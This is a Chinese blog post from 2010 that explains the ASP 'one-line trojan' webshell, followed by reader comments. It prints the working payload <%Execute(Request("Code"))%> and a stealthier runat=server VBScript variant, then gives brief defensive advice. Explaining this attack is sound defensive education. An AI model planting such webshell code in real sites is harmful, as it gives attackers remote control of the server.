谈谈一句话木马

石头 发布于2010-8-9 19:35:58 分类: 编程技术 已浏览448 网友评论29条 我要评论

     顾名思义,一句话木马的意思就是,只用在程序中插入简单的几个字符就可以实现完全控制整个网站的木马程序。初学者往往会觉得非常的不可思议,不过我相信你看过本文以后就应该会清楚的明白一句话的原理了。

    在ASP里,函数Execute或(Server.Execute)是一个可以在当前页面中执行子页面的程序的函数,即与include的效果类似。请看下面的例子:

    A.asp页

<%

Response.Write("This is in A.asp")

Call Execute("b.asp")

Response.Write("A.asp Response End")

%>

    B.asp页

<%

Response.Write("This is in B.asp")

%>

    执行A.asp页的结果如下:

This is in A.asp

This is in B.asp

A.asp Response.End

    看到效果了吧。通过Execute可以执行任何符合ASP规范的ASP代码和文件。因此骇客要希望一句话木马就非常的容易啦,他们只需要在你的程序程序里插入以下代码就可以完全控制你的网站了!

<%Execute(Request("Code"))%>

    当一个页面已经存在这个代码以后,就可以通过远程POST的方式提交任意代码,程序都会完全的执行:比如上传大马。那有人会说,那如果我过滤了%标签是不是就可以了呢?答案是否定的,骇客照样可以构造如下代码:

<script language="vbscript" runat="server">

Execute(Request("Code"))

</script>

    这使用runat="server"替换<%%> 也是一个非常好的方式,隐密性比较高。对于一句话木马的防范,除了防止远程数据提交以后,还得对输入的内容进行非常严格的过滤,不过道高一尺魔高一丈,随时备份网站,关键时候恢复才得良策。

已经有(29)位网友发表了评论,你也评一评吧!

原创文章转载请注明引自石头博客 http://www.stou.info/ 欢迎订阅石头博客

猜你也喜欢

  1. 发表于2011-01-06 15:21:02

    zblog 被挂了一句话木马如何清除呢?

  2. 发表于2010-11-08 00:39:06

    学习了~~~

  3. 发表于2010-11-06 14:09:05

    呵呵,看来站长也研究过黑客啊,我也执迷过一段时间哈,不过想想,这些东西不会为四个现代化做出什么贡献,就放弃了哈。

  4. 发表于2010-09-28 23:26:14

    感谢楼主分享的好文章!!!

  5. 发表于2010-09-21 04:54:57

    高手啊,想学习~呵呵

  6. 发表于2010-09-09 16:29:58

    这个不太懂

  7. 发表于2010-09-01 19:43:00

    很厉害,没看懂

  8. 发表于2010-08-28 15:29:03

    说的有些道理

  9. 发表于2010-08-27 01:25:43

    看了半天没弄明白,到是认识一句话,真不知道原理

  10. 发表于2010-08-26 13:15:22

    最担心被别人上马。

  11. 发表于2010-08-24 18:56:36

    谈马色变啊

  12. 发表于2010-08-21 14:39:01

    石头教我怎么挂马。。哈哈~

    stone 于 2010-8-22 12:59:49 回复说
    拿根绳子套在马头上,绳子的另一头从一个树杈上绕过去,用力一拉,马就挂上了。

  13. 发表于2010-08-19 11:18:58

    原来木马就是这样挂的……

  14. 发表于2010-08-16 16:40:10

    呵呵

  15. 发表于2010-08-16 15:53:25

    来学习了,谢谢博主

  16. 发表于2010-08-12 10:31:15

    木马是这么好挂的东西?

  17. 发表于2010-08-12 00:38:34

    这东西我最怕,不知道还好.

  18. 发表于2010-08-11 11:21:57

    其实一句话还有多个变种.. 石头可以详细研究一下..

  19. 发表于2010-08-10 22:29:57

    看不懂。。
    看看就好。

  20. 发表于2010-08-10 22:10:39

    木马应该分很多种,以前稍微了解过~~
    但还是不懂~

  21. 发表于2010-08-10 15:32:06

    男士洗面奶www.nsxmn.com性价比最高的男士护理品网站
    zippo价格www.zippoku.com淘宝热卖千件的正品打火机
    孩子教育www.danqinbama.com关注单亲家庭孩子的教育

  22. 发表于2010-08-10 11:32:38

    以前买过黑客杂志看看,不过代码嘛。。看看就好

  23. 发表于2010-08-10 10:50:30

    我的经常给人挂马。。。是石头教的吧。Haha

  24. 发表于2010-08-10 10:06:54

    几年没研究过这个东西了..

  25. 发表于2010-08-09 22:52:57

    ASP博客存在这样的漏洞吗?会被一句话木马入侵吗?

  26. 发表于2010-08-09 20:46:12

    ....

    你们都是来蹭沙发的啊 ...

  27. 发表于2010-08-09 20:41:42

    不接触这类事情,所以趁早占楼走人拉!

  28. 发表于2010-08-09 20:28:05

    跟随一楼仁兄步伐!

  29. 发表于2010-08-09 20:02:09

    来了大沙发啊....虽然不懂.友情顶贴

称呼:

邮件:

网站:

验证:

记住我的信息,下次不用再输入小诀窍:按ctrl+y键可以启动搜狗云输入法